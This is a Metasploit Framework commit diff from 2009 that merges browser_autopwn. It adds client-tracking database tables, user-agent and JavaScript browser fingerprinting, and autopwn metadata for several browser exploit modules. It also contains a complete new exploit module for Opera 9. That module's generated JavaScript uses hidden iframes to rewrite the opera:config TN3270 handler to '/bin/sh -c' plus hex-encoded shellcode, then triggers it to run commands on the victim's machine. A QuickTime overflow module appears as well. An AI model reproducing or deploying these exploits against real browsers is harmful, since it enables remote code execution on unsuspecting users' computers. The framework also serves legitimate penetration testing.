merge browser_autopwn back into trunk. This changes the database schema slightly, so make sure to db_destroy and db_create before using the database features.

git-svn-id: file:///home/svn/framework3/trunk@6873 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2009-07-22 20:14:35 +00:00
parent 750a432fd0
commit 739207bf4a
25 changed files with 1320 additions and 624 deletions

View File

@ -17,6 +17,16 @@ arch VARCHAR(255)
);
create table clients (
id INTEGER PRIMARY KEY NOT NULL,
host_id INTEGER,
created TIMESTAMP,
ua_string VARCHAR(1024) NOT NULL,
ua_name VARCHAR(64),
ua_ver VARCHAR(32)
);
create table services (
id SERIAL PRIMARY KEY,
host_id INTEGER,

View File

@ -17,6 +17,16 @@ os_lang VARCHAR(255),
arch VARCHAR(255)
);
drop table clients;
create table clients (
id INTEGER PRIMARY KEY NOT NULL,
host_id INTEGER,
created TIMESTAMP,
ua_string VARCHAR(1024) NOT NULL,
ua_name VARCHAR(64),
ua_ver VARCHAR(32)
);
drop table services;
create table services (

View File

@ -16,6 +16,16 @@ create table hosts (
'arch' VARCHAR(255)
);
drop table clients;
create table clients (
'id' INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,
'created' TIMESTAMP,
'ua_string' VARCHAR(1024) NOT NULL,
'ua_name' VARCHAR(64),
'ua_ver' VARCHAR(32)
);
drop table services;
create table services (
'id' INTEGER PRIMARY KEY NOT NULL,

View File

@ -86,7 +86,7 @@ class ReadableText
])
mod.actions.each_with_index { |target, idx|
tbl << [ target.name || 'All' ]
tbl << [ target.name || 'All' , target.description || '' ]
}
tbl.to_s + "\n"

View File

@ -14,12 +14,21 @@ module Auxiliary::Report
FF = "Firefox"
SAFARI = "Safari"
OPERA = "Opera"
UNKNOWN = "Unknown"
end
module OperatingSystems
LINUX = "Linux"
MAC_OSX = "MacOSX"
WINDOWS = "Windows"
module WindowsVersions
XP = "XP"
TWOK = "2000"
TWOK3 = "2003"
VISTA = "Vista"
end
UNKNOWN = "Unknown"
end
@ -48,6 +57,36 @@ module Auxiliary::Report
end
end
def get_host(addr)
return nil if not db
framework.db.get_host(self, addr)
end
#
# Report a client connection
#
# opts must contain
# :host the address of the client connecting
# :ua_string a string that uniquely identifies this client
# opts can contain
# :ua_name a brief identifier for the client, e.g. "Firefox"
# :ua_ver the version number of the client, e.g. "3.0.11"
#
def report_client(opts={})
return if not db
addr = opts.delete(:host) || return
framework.db.report_host_state(self, addr, Msf::HostState::Alive)
cli = framework.db.report_client(self, addr, opts)
return cli
end
def get_client(addr, ua_string)
return nil if not db
framework.db.get_client(self, addr, ua_string)
end
#
# Report detection of a service
#

View File

@ -66,6 +66,13 @@ module DatabaseEvent
def on_db_host(context, host)
end
#
# Called when a new client is added to the database. The client
# parameter is of type Client.
#
def on_db_client(context, client)
end
#
# Called when a new service is added to the database. The service
# parameter is of type Service.
@ -142,6 +149,8 @@ class DBManager
opts.each { |k,v|
if (host.attribute_names.include?(k.to_s))
host[k] = v
else
dlog("Unknown attribute for Host: #{k}")
end
}
@ -150,6 +159,33 @@ class DBManager
return host
end
#
# Report a client running on a host.
#
# opts must contain :ua_string
# opts can contain :ua_name and :ua_ver
#
def report_client(mod, addr, opts = {}, context = nil)
if opts[:ua_string].nil?
elog("report_client requires a ua_string", 'db', LEV_0, caller)
return
end
# TODO: use the current thread's Comm to find the host
comm = ''
host = get_host(context, addr, comm)
cli = get_client(context, host, opts[:ua_string])
opts.each { |k,v|
if (cli.attribute_names.include?(k.to_s))
cli[k] = v
else
dlog("Unknown attribute for Client: #{k}")
end
}
cli.save
return cli
end
#
# This method reports a host's service state.
#
@ -255,7 +291,11 @@ class DBManager
# Find or create a host matching this address/comm
#
def get_host(context, address, comm='')
if comm.length > 0
host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm])
else
host = Host.find(:first, :conditions => [ "address = ? ", address ])
end
if (not host)
host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown, :created => Time.now)
host.save
@ -265,14 +305,35 @@ class DBManager
return host
end
#
# Find or create a client matching ua_string
#
def get_client(context, host, ua_string, comm='')
# Allow host to be an address to look up
if !host.kind_of? Host
host = get_host(context, host, comm)
end
rec = Client.find(:first, :conditions => [ "host_id = ? and ua_string = ?", host[:id], ua_string])
if (not rec)
rec = Client.create(
:host_id => host[:id],
:ua_string => ua_string,
:created => Time.now
)
rec.save
framework.events.on_db_client(context, rec)
end
return rec
end
#
# Find or create a service matching this host/proto/port/state
#
def get_service(context, host, proto, port, state=ServiceState::Up)
rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host.id, proto, port])
rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host[:id], proto, port])
if (not rec)
rec = Service.create(
:host_id => host.id,
:host_id => host[:id],
:proto => proto,
:port => port,
:state => state,
@ -332,10 +393,10 @@ class DBManager
# Find or create a note matching this type/data
#
def get_note(context, host, ntype, data)
rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host.id, ntype, data])
rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host[:id], ntype, data])
if (not rec)
rec = Note.create(
:host_id => host.id,
:host_id => host[:id],
:ntype => ntype,
:data => data,
:created => Time.now
@ -354,15 +415,15 @@ class DBManager
return unless host
services = Service.find(:all, :conditions => ["host_id = ?", host.id]).map { |s| s.id }
services = Service.find(:all, :conditions => ["host_id = ?", host[:id]]).map { |s| s[:id] }
services.each do |sid|
Vuln.delete_all(["service_id = ?", sid])
Service.delete(sid)
end
Note.delete_all(["host_id = ?", host.id])
Host.delete(host.id)
Note.delete_all(["host_id = ?", host[:id]])
Host.delete(host[:id])
end
#
@ -373,7 +434,7 @@ class DBManager
return unless host
services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host.id, proto, port]).map { |s| s.id }
services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host[:id], proto, port]).map { |s| s[:id] }
services.each do |sid|
Vuln.delete_all(["service_id = ?", sid])
@ -408,7 +469,7 @@ class DBManager
def refs_by_vuln(vuln)
Ref.find_by_sql(
"SELECT refs.* FROM refs, vulns_refs WHERE " +
"vulns_refs.vuln_id = #{vuln.id} AND " +
"vulns_refs.vuln_id = #{vuln[:id]} AND " +
"vulns_refs.ref_id = refs.id"
)
end
@ -419,7 +480,7 @@ class DBManager
def vulns_by_ref(ref)
Vuln.find_by_sql(
"SELECT vulns.* FROM vulns, vulns_refs WHERE " +
"vulns_refs.ref_id = #{ref.id} AND " +
"vulns_refs.ref_id = #{ref[:id]} AND " +
"vulns_refs.vuln_id = vulns.id"
)
end
@ -642,7 +703,7 @@ class DBManager
)
rep.save
return rep.id
return rep[:id]
#framework.events.on_db_target(context, rec)
end
@ -656,7 +717,7 @@ class DBManager
if (not rep)
rep_id = framework.db.create_report(0,'WMAP','REPORT',"#{host},#{port},#{ssl}","Metasploit WMAP Report",'WMAP Scanner')
else
rep_id = rep.id
rep_id = rep[:id]
end
return rep_id

View File

@ -46,9 +46,19 @@ end
class Host < ActiveRecord::Base
include DBSave
has_many :services
has_many :clients
has_many :vulns
end
class Client < ActiveRecord::Base
include DBSave
belongs_to :host
def host
Host.find(:first, :conditions => [ "id = ?", host_id ])
end
end
# Service object definition
class Service < ActiveRecord::Base
include DBSave

View File

@ -216,6 +216,7 @@ class Exploit < Msf::Module
# Behavior
require 'msf/core/exploit/brute'
require 'msf/core/exploit/brutetargets'
require 'msf/core/exploit/browser_autopwn'
# Payload
require 'msf/core/exploit/egghunter'

View File

@ -257,6 +257,7 @@ end
module Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super
@ -354,6 +355,100 @@ module Exploit::Remote::HttpServer
add_resource(uopts)
end
def report_user_agent(host, request)
ua = request['User-Agent'].downcase
# always check for IE last because everybody tries to
# look like IE
case (ua)
when /version\/(\d+\.\d+\.\d+).*safari/
ua_name = HttpClients::SAFARI
ua_vers = $1
when /firefox\/((:?[0-9]+\.)+[0-9]+)/
ua_name = HttpClients::FF
ua_vers = $1
when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/
ua_name = HttpClients::IE
ua_vers = $1
else
ua_name = HttpClients::UNKNOWN
end
case (ua)
when /(en-us|en-gb)/
os_lang = $1
end
case (ua)
when /windows/
os_name = OperatingSystems::WINDOWS
arch = ARCH_X86
when /linux/
os_name = OperatingSystems::LINUX
when /iphone/
os_name = OperatingSystems::MAC_OSX
arch = 'armle'
when /mac os x/
os_name = OperatingSystems::MAC_OSX
else
os_name = OperatingSystems::UNKNOWN
end
case (ua)
when /windows 95/
os_flavor = '95'
when /windows 98/
os_flavor = '98'
when /windows nt 4/
os_flavor = 'NT'
when /windows nt 5.0/
os_flavor = '2000'
when /windows nt 5.1/
os_flavor = 'XP'
when /windows nt 5.2/
os_flavor = '2003'
when /windows nt 6.0/
os_flavor = 'Vista'
when /windows nt 6.1/
os_flavor = '7'
when /gentoo/
os_flavor = 'Gentoo'
when /debian/
os_flavor = 'Debian'
when /ubuntu/
os_flavor = 'Ubuntu'
else
os_flavor = ''
end
case (ua)
when /ppc/
arch = ARCH_PPC
when /x64|x86_64/
arch = ARCH_X86_64
when /i.86|wow64/
# WOW64 means "Windows on Windows64" and is present
# in the useragent of 32-bit IE running on 64-bit
# Windows
arch = ARCH_X86
else
arch = ARCH_X86
end
report_host(
:host => host,
:os_name => os_name,
:os_flavor => os_flavor,
:os_lang => os_lang || 'en',
:arch => arch
)
report_client(
:host => host,
:ua_string => request['User-Agent'],
:ua_name => ua_name,
:ua_vers => ua_vers
)
report_note(
:host => host,
:type => 'http_request',
:data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_vers}"
)
end
#
# Adds a URI resource using the supplied hash parameters.
#

View File

@ -29,6 +29,7 @@ class Msf::Module::AuxiliaryAction
def initialize(name, opts={})
self.name = name
self.opts = opts
self.description = opts['Description'] || ''
end
#
@ -43,12 +44,16 @@ class Msf::Module::AuxiliaryAction
#
attr_reader :name
#
# The action's description
#
attr_reader :description
#
# Action specific parameters
#
attr_reader :opts
protected
attr_writer :name, :opts # :nodoc:
attr_writer :name, :opts, :description # :nodoc:
end

View File

@ -65,6 +65,7 @@ LEV_3 = 3
#
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
@ -81,6 +82,7 @@ ARCH_ARMBE = 'armbe'
ARCH_TYPES =
[
ARCH_X86,
ARCH_X86_64,
ARCH_MIPS,
ARCH_MIPSLE,
ARCH_MIPSBE,

View File

@ -25,66 +25,119 @@ function getVersion(){
var os_flavor;
var os_sp;
var os_lang;
var browser_name;
var browser_version;
var ua_name;
var ua_version;
var useragent = navigator.userAgent;
var version = "";
version = useragent;
//document.write("navigator.userAgent = '"+navigator.userAgent+"'<br>");
//document.write("navigator.appVersion = '"+navigator.appVersion+"'<br>");
// Firefox's appVersion on windows doesn't tell us the flavor, so use
// userAgent all the time. If userAgent is spoofed, appVersion will lie
// also, so we don't lose anything by doing it this way.
if (version.indexOf("Windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; }
else if (version.indexOf("Windows NT 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; }
else if (version.indexOf("Win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; }
else if (version.indexOf("Windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; }
else if (version.indexOf("Windows NT 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; }
else if (version.indexOf("Windows NT 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; }
else if (version.indexOf("Windows NT 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; }
else if (version.indexOf("Windows NT 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; }
else if (version.indexOf("Windows") != -1) { os_name = "#{oses::WINDOWS}"; }
else if (version.indexOf("Mac") != -1) { os_name = "#{oses::MAC_OSX}"; }
else if (version.indexOf("Linux") != -1) { os_name = "#{oses::LINUX}"; }
if (os_name == "#{oses::LINUX}") {
if (useragent.indexOf("Gentoo") != -1) { os_flavor = "Gentoo"; }
else if (useragent.indexOf("Ubuntu") != -1) { os_flavor = "Ubuntu"; }
else if (useragent.indexOf("Debian") != -1) { os_flavor = "Debian"; }
else if (useragent.indexOf("RHEL") != -1) { os_flavor = "RHEL"; }
else if (useragent.indexOf("CentOS") != -1) { os_flavor = "CentOS"; }
}
//--
// Client
//--
if (window.getComputedStyle) {
// Then this is a gecko derivative, assume firefox since that's the
// only one we have sploits for. We may need to revisit this in the
// future.
browser_name = "#{clients::FF}";
// future. This works for multi/browser/mozilla_compareto against
// Firefox and Mozilla, so it's probably good enough for now.
ua_name = "#{clients::FF}";
if (document.getElementsByClassName) {
browser_version = "3.0";
ua_version = "3.0";
} else if (window.Iterator) {
browser_version = "2.0";
ua_version = "2.0";
} else if (Array.every) {
browser_version = "1.5";
ua_version = "1.5";
} else {
browser_version = "1.0";
ua_version = "1.0";
}
}
if (window.opera) {
browser_name = "#{clients::OPERA}";
ua_name = "#{clients::OPERA}";
// This seems to be completely accurate, e.g. "9.21" is the return
// value of opera.version() when run on Opera 9.21
ua_version = opera.version();
if (!os_name) {
// The 'inconspicuous' argument is there to give us a real value on
// Opera 6 where, without it, the return value is supposedly
// "Hm, were you only as smart as Bjørn Vermo..."
// though I have not verfied this claim.
switch (opera.buildNumber('inconspicuous')) {
case "344":
// opera-9.0-20060616.1-static-qt.i386-en-344
os_name = "#{oses::LINUX}";
break;
case "2091":
// opera-9.52-2091.gcc3-shared-qt3.i386.rpm
os_name = "#{oses::LINUX}";
break;
case "8501":
// "Opera 9 Eng Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
case "8679":
// "Opera_9.10_Eng_Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
case "8771":
// "Opera_9.20_Eng_Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
case "8776":
// "Opera_9.21_Eng_Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
case "8801":
// "Opera_9.22_Eng_Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
case "10108":
// "Opera_952_10108_en.exe"
os_name = "#{oses::WINDOWS}";
break;
case "10467":
// "Opera_962_en_Setup.exe"
os_name = "#{oses::WINDOWS}";
break;
}
}
} else if (window.getComputedStyle) {
// Then this is a gecko derivative, assume firefox since that's the
// only one we have sploits for. We may need to revisit this in the
// future. This works for multi/browser/mozilla_compareto against
// Firefox and Mozilla, so it's probably good enough for now.
ua_name = "#{clients::FF}";
if (String.trimRight) {
// XXX: untested
ua_version = "3.5";
} else if (document.getElementsByClassName) {
ua_version = "3";
} else if (window.Iterator) {
ua_version = "2";
} else if (Array.every) {
ua_version = "1.5";
} else {
ua_version = "1";
}
// Verify whether the ua string is lying by checking the major version
// number against what we detected using known objects above. If it
// appears to be truthful, then use its more precise version number.
version = searchVersion("Firefox", navigator.userAgent);
if (version.substr(0,1) == ua_version.substr(0,1)) {
// The version number will end with a space or end of line, so strip
// off anything after a space if one exists
if (-1 != version.indexOf(" ")) {
version = version.substr(0,version.indexOf(" "));
}
ua_version = version;
}
if (typeof ScriptEngineMajorVersion == "function") {
// then this is IE and we can detect the OS
// TODO: add detection for IE on Mac. low priority, since we don't have
// any sploits for it yet and it's a very low market share
} else if (typeof ScriptEngineMajorVersion == "function") {
// Then this is IE and we can very reliably detect the OS.
// Need to add detection for IE on Mac. Low priority, since we
// don't have any sploits for it yet and it's a very low market
// share.
os_name = "#{oses::WINDOWS}";
browser_name = "#{clients::IE}";
ua_name = "#{clients::IE}";
version = ScriptEngineMajorVersion().toString();
version += ScriptEngineMinorVersion().toString();
version += ScriptEngineBuildVersion().toString();
@ -104,11 +157,13 @@ function getVersion(){
break;
case "566626":
// IE 6.0.2600.0000, XP SP0 English
ua_version = "6.0";
os_flavor = "XP";
os_sp = "SP0";
break;
case "568515":
// IE 6.0.3790.0, 2003 Standard SP0 English
ua_version = "6.0";
os_flavor = "2003";
os_sp = "SP0";
break;
@ -131,32 +186,94 @@ function getVersion(){
break;
case "575730":
// IE 7.0.5730.13, Server 2003 Standard SP2 English
// IE 7.0.5730.13, Server 2003 Standard SP1 English
// IE 7.0.5730.13, XP Professional SP2 English
// rely on the user agent matching above to determine the OS,
// but we know it's SP2 either way
// Rely on the user agent matching above to determine the OS.
// This will incorrectly identify 2k3 SP1 as SP2
ua_version = "7.0";
os_sp = "SP2";
break;
case "5718066":
// IE 7.0.5730.13, XP Professional SP3 English
ua_version = "7.0";
os_flavor = "XP";
os_sp = "SP3";
break;
case "5818702":
// IE 8.0.6001.18702, XP Professional SP3 English
ua_version = "8.0";
os_flavor = "XP";
os_sp = "SP3";
break;
case "580":
// IE 8.0.7100.0, Windows 7 English
// IE 8.0.7100.0, Windows 7 64-bit English
ua_version = "8.0";
os_flavor = "7";
os_sp = "SP0";
break;
}
if (!ua_version) {
if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
// IE8 detection straight from IEBlog. Thank you Microsoft.
try {
ua_version = "8.0";
document.documentElement.style.display = "table-cell";
} catch(e) {
// This executes in IE7,
// but not IE8, regardless of mode
ua_version = "7.0";
}
if (!browser_version) {
if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined") {
browser_version = "7.0";
} else if (document.compatMode) {
browser_version = "6.0";
ua_version = "6.0";
} else if (window.createPopup) {
browser_version = "5.5";
ua_version = "5.5";
} else if (window.attachEvent) {
browser_version = "5.0";
ua_version = "5.0";
} else {
browser_version = "4.0";
ua_version = "4.0";
}
switch (navigator.appMinorVersion){
case ";SP2;":
browser_version += ";SP2";
ua_version += ";SP2";
break;
}
}
}
//--
// Flavor
//--
version = useragent.toLowerCase();
if (!os_name || 0 == os_name.length || !os_flavor || 0 == os_flavor.length) {
// Firefox's appVersion on windows doesn't tell us the flavor, so use
// userAgent all the time. If userAgent is spoofed, appVersion will lie
// also, so we don't lose anything by doing it this way.
if (version.indexOf("windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; }
else if (version.indexOf("windows nt 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; }
else if (version.indexOf("win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; }
else if (version.indexOf("windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; }
else if (version.indexOf("windows nt 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; }
else if (version.indexOf("windows nt 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; }
else if (version.indexOf("windows nt 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; }
else if (version.indexOf("windows nt 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; }
else if (version.indexOf("windows") != -1) { os_name = "#{oses::WINDOWS}"; }
else if (version.indexOf("mac") != -1) { os_name = "#{oses::MAC_OSX}"; }
else if (version.indexOf("linux") != -1) { os_name = "#{oses::LINUX}"; }
}
if (os_name == "#{oses::LINUX}" && (!os_flavor || 0 == os_flavor.length)) {
if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; }
else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; }
else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; }
else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; }
else if (version.indexOf("red hat") != -1){ os_flavor = "RHEL"; }
else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; }
}
//--
// Language
//--
if (navigator.systemLanguage) {
// ie
os_lang = navigator.systemLanguage;
@ -169,17 +286,40 @@ function getVersion(){
os_lang = "en";
}
//--
// Architecture
//--
version = navigator.platform;
//document.write(version + "\\n");
var arch = "";
// IE 8 does a bit of wacky user-agent switching for "Compatibility View";
// 64-bit client on Windows 7, 64-bit:
// Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
// 32-bit client on Windows 7, 64-bit:
// Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
// 32-bit client on Vista, 32-bit, "Compatibility View":
// Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
//
// Report 32-bit client on 64-bit OS as being 32 because exploits will
// need to know the bittedness of the process, not the OS.
if ( ("Win32" == version) || (version.match(/i.86/)) ) {
arch = "#{ARCH_X86}";
} else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
arch = "#{ARCH_X86_64}";
} else if (-1 != version.indexOf('PPC')) {
arch = "#{ARCH_PPC}";
}
//document.write("Target is: "+os_name+" "+os_flavor+" "+os_sp+" "+os_lang+" / "+browser_name+" "+browser_version +"<br>");
return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, browser_name:browser_name, browser_version:browser_version };
return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
} // function getVersion
function searchVersion(needle, haystack) {
var index = haystack.indexOf(needle);
if (index == -1) return;
found_version = haystack.substring(index+needle.length+1);
// Strip off any junk at the end such as a CLR declaration
found_version.replace(/\s.*/, '');
return found_version;
}
ENDJS
super @js
update_opts(opts) if (opts)
@ -188,11 +328,13 @@ ENDJS
'os_name', 'os_flavor',
'os_sp', 'os_lang',
'arch',
'browser_name',
'browser_version',
'useragent', 'version'
'ua_name',
'ua_version',
'found_version',
'needle',
'haystack',
],
'Methods' => [ 'getVersion' ]
'Methods' => [ 'getVersion', 'searchVersion' ]
}
})

View File

@ -65,7 +65,7 @@ class ObfuscateJS
#
# Initialize an instance of the obfuscator
#
def initialize(js, opts = {})
def initialize(js = "", opts = {})
@js = js
@dynsym = {}
@opts = {
@ -133,8 +133,7 @@ class ObfuscateJS
# claims that space is irrelavent, newlines break things. Instead,
# use only space (0x20) and tab (0x09).
@js = Rex::Text.compress(@js)
@js.gsub!(/\s+/) { |s|
@js.gsub!(/[\x09\x20]+/) { |s|
len = rand(50)+2
set = "\x09\x20"
buf = ''
@ -159,6 +158,13 @@ class ObfuscateJS
end
alias :to_str :to_s
def <<(str)
@js << str
end
def +(str)
@js + str
end
protected
attr_accessor :done

File diff suppressed because it is too large Load Diff

View File

@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_ver => "3.5",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',

View File

@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_ver => "1.0",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',

View File

@ -10,16 +10,27 @@
##
require 'msf/core/constants'
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => %Q|
is_vuln = false;
if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
is_vuln = true;
}
|,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',

View File

@ -0,0 +1,154 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::OPERA,
:ua_ver => "1.0",
:os_name => [ OperatingSystems::WINDOWS, OperatingSystems::LINUX ],
:javascript => true,
:rank => ExcellentRanking, # reliable exe writer
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,{
'Name' => 'Opera 9 Configuration Overwrite',
'Description' => %q{
Opera web browser in versions <= 9.10 allows unrestricted script
access to its configuration page, opera:config, allowing an
attacker to change settings and potentially execute arbitrary
code.
},
'License' => BSD_LICENSE,
'Author' =>
[
'egypt', # stolen from mpack
],
'Version' => '$Revision: 6655 $',
'References' => [ ],
'Payload' =>
{
'ExitFunc' => 'process',
'Space' => 4000,
'DisableNops' => true,
'BadChars' => " |'<>&",
},
'Targets' =>
[
#[ 'Opera < 9.10 Windows',
# {
# 'Platform' => 'win',
# 'Arch' => ARCH_X86,
# }
#],
[ 'Opera < 9.10 Unix Cmd',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
}
],
],
# Not sure when this was disclosed but it's been known since at
# least March 5, 2007, since that's the release date on the version
# of mpack I stole this from.
'DisclosureDate' => 'Mar 5 2007'
}))
end
def on_request_uri(cli, request)
case request.uri
when /payload$/
print_status("Generating payload for #{target} #{target.platform}")
# Re-generate the payload
if ((p = regenerate_payload(cli)) == nil)
print_error("Payload generation failed, 404ing request for #{request.uri}")
send_not_found(cli)
return
end
# NOTE: Change this to the new API when commiting to trunk
#content = Msf::Util::EXE.to_win32pe(p.encoded)
#content = Rex::Text.to_win32pe(p.encoded)
content = "foo"
print_status("Generated #{content.length} bytes")
headers = { 'Content-Type' => 'application/octet-stream' }
when get_resource
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
content = "<body><script>"
content << generate_evil_js(cli, request)
content << "</script></body>"
headers = { 'Content-Type' => 'text/html' }
else
print_status("404ing request for #{request.uri}")
send_not_found(cli)
return
end
send_response_html(cli, content, headers)
end
def generate_evil_js(cli, request)
# There are a bunch of levels of quotes here, so the easiest way to
# make everything line up is to hex escape the command to run
p = regenerate_payload(cli).encoded
#print_status(p)
shellcode = Rex::Text.to_hex(p, "%")
js = <<ENDJS
alert(opera.buildNumber('inconspicuous') + " : " + opera.version());
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.body.appendChild(blank_iframe);
blank_iframe_window.eval(
"config_iframe = document.createElement('iframe');" +
"config_iframe.setAttribute('id', 'config_iframe_window');" +
"config_iframe.src = 'opera:config';" +
"document.body.appendChild(config_iframe);" +
"cache_iframe = document.createElement('iframe');" +
"cache_iframe.src = 'opera:cache';" +
"cache_iframe.onload = function ()" +
"{" +
" config_iframe_window.eval" +
" (\\"" +
" old_handler = opera.getPreference('Network','TN3270 App');" +
" shellcode = '#{shellcode}';" +
" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
" app_link = document.createElement('a');" +
" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
" app_link.click();" +
" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
" \\");" +
"};" +
"document.body.appendChild(cache_iframe);" +
"");
ENDJS
end
def generate_evil_preference()
end
end

View File

@ -17,6 +17,14 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::OPERA,
:javascript => true,
:rank => ExcellentRanking, # reliable command execution
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera historysearch XSS',

View File

@ -17,20 +17,30 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Apple QuickTime 7.1.3. This module was
inspired by MOAB-01-01-2007.
This module exploits a buffer overflow in Apple QuickTime
7.1.3. This module was inspired by MOAB-01-01-2007. The
Browser target for this module was tested against IE 6 and
Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
QuickTime plugin.
},
'Author' => [ 'MC' ],
'Author' => [ 'MC', 'egypt' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-0015' ],
[ 'OSVDB', '31023' ],
[ 'BID', '21829' ],
[ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],
],
@ -41,12 +51,22 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
